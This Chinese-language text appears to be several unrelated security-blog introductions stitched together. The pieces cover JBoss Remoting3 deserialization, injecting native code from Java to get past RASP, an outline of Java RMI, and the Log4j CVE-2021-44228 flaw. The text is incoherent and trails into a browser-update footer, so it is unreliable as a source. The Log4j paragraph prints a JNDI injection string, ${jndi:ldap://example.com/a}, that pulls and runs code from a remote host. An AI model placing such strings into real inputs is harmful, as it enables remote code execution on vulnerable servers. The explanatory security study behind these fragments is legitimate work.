前言
前段时间分析了JBoss 3873和4446端口下的反序列化,受影响的版本最晚已经是2011年发布的,而JBoss EAP 6.X及WildFly\JBoss AS 7.X等后续版本,它们反序列化相关的CVE就很少了。归根结底,是因为以上所说的后续版本弃用了原来的Remoting2协议,启用了Remoting3协议。本文以Remoting3的反序列化相关问题展开分析。
随着RASP技术的发展,普通webshell已经很难有用武之地,甚至是各种内存马也逐渐捉襟见肘。秉承着《JSP Webshell那些事——攻击篇(上)》中向下走的思路,存不存在一种在Java代码中执行机器码的方法呢?答案是肯定的,常见的注入方式有JNI、JNA和利用JDK自带的Native方法等,其中笔者还找到了一种鲜有文章介绍的,基于HotSpot虚拟机,且较为通用的注入方法。
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。它是由注册中心、服务端和客户端三部分组成。
注册中心
作为存储远程方法的代理对象的仓库。
服务端
暴露远程对象,并将其代理对象注册进 RMI Registry。一个代理对象在服务端中包含一个skeleton对象,用于接受来自stub对象的调用。
客户端
查找远程代理对象,远程调用服务对象。一个代理对象在调用该远程对象的客户端上包含一个stub对象,负责调用参数和返回值的序列化、打包解包,以及网络层的通讯过程。
2021 年 12 月 10 日,Apache发布了其 Log4j 框架的 2.15.0 版,其中包括对 CVE-2021-44228 的修复,这是一个影响 Apache Log4j 2.14.1 及更早版本的关键 (CVSSv3 10) 远程代码执行 (RCE) 漏洞。该漏洞存在于 Log4j 处理器处理特制日志消息的方式中。不可信的字符串(例如,来自输入文本字段的字符串,例如 Web 应用程序搜索框)包含的内容${jndi:ldap://example.com/a}
,如果启用了消息查找替换,将触发远程类加载、消息查找和相关内容的执行。成功利用 CVE-2021-44228 可以让未经身份验证的远程攻击者完全控制易受攻击的目标系统。
Update your browser to view this website correctly. Update my browser now